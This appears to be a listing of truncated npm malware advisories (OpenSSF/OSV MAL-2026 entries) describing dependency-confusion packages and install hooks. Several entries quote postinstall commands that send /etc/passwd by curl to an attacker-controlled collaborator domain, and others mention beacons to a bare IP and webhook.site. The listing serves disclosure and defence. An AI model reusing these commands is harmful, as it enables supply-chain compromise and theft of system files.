npm advisory reports, with evidence.

OpenSSF/OSV malware advisory MAL-2026-13744 blocks this version. LPM AI assessed this version as suspicious; the assessments disagree. The package's postinstall script POSTs installer met...

OpenSSF/OSV malware advisory MAL-2026-12183 blocks this version. LPM AI assessed this version as suspicious; the assessments disagree. Package is a weaponized mass-mail / SMS spam and phi...

OpenSSF/OSV malware advisory MAL-2026-14016 blocks this version. package.json declares a preinstall lifecycle script that contacts webhook.site, an ephemeral request-capture service commo...

OpenSSF/OSV malware advisory MAL-2026-14016 blocks this version. package.json declares a preinstall lifecycle script that contacts webhook.site, an ephemeral request-capture service commo...

OpenSSF/OSV malware advisory MAL-2026-13991 blocks this version. index.js is packed with an obfuscator.io RC4 string-array plus self-defending debugger-check wrapper. The only exported fu...

OpenSSF/OSV malware advisory MAL-2026-13991 blocks this version. index.js is packed with an obfuscator.io RC4 string-array plus self-defending debugger-check wrapper. The only exported fu...

OpenSSF/OSV malware advisory MAL-2026-13989 blocks this version. package.json declares a postinstall script that runs `node -e` to invoke fs.writeFileSync, creating /tmp/PWN_R3REAL/FIRED...

OpenSSF/OSV malware advisory MAL-2026-6565 blocks this version. Package published to the public npm registry under the @uisp scope at version 99.0.1 — the canonical dependency-confusion s...

OpenSSF/OSV malware advisory MAL-2026-6565 blocks this version. Package published to the public npm registry under the @uisp scope at version 99.0.1 — the canonical dependency-confusion s...

OpenSSF/OSV malware advisory MAL-2026-6565 blocks this version. Package published to the public npm registry under the @uisp scope at version 99.0.1 — the canonical dependency-confusion s...

OpenSSF/OSV malware advisory MAL-2026-5435 blocks this version. package.json declares a postinstall hook that runs canary.js, which issues an HTTP GET to bare IP 157.230.17.236 on port 80...

OpenSSF/OSV malware advisory MAL-2026-5434 blocks this version. On `npm install`, the package's `canary.js` postinstall script issues an HTTP GET to http://157.230.17.236/dc carrying the...

OpenSSF/OSV malware advisory MAL-2026-5349 blocks this version. Dep-confusion squat of internal @demica/core at sentinel high version 99.99.100 + auto-exec postinstall (canary.js) beaconi...

OpenSSF/OSV malware advisory MAL-2026-5349 blocks this version. Dep-confusion squat of internal @demica/core at sentinel high version 99.99.100 + auto-exec postinstall (canary.js) beaconi...

OpenSSF/OSV malware advisory MAL-2026-5430 blocks this version. package.json declares a dependency `ltidisafe` whose version specifier is the raw URL `https://storage.googleapis.com/lscun...

OpenSSF/OSV malware advisory MAL-2026-5429 blocks this version. On `npm install`, the package's postinstall hook runs `node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(h...

OpenSSF/OSV malware advisory MAL-2026-5428 blocks this version. On `npm install`, the package's postinstall hook runs `curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zo...

OpenSSF/OSV malware advisory MAL-2026-5410 blocks this version. On `npm install`, the package's postinstall hook in package.json runs `curl --data '@/etc/passwd' $(hostname).200hj786m7x4k...

OpenSSF/OSV malware advisory MAL-2026-5409 blocks this version. On `npm install`, package.json's postinstall hook executes `node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd...

OpenSSF/OSV malware advisory MAL-2026-5408 blocks this version. On `npm install`, the package's postinstall hook runs two exfiltration paths against an attacker-controlled Burp Collaborat...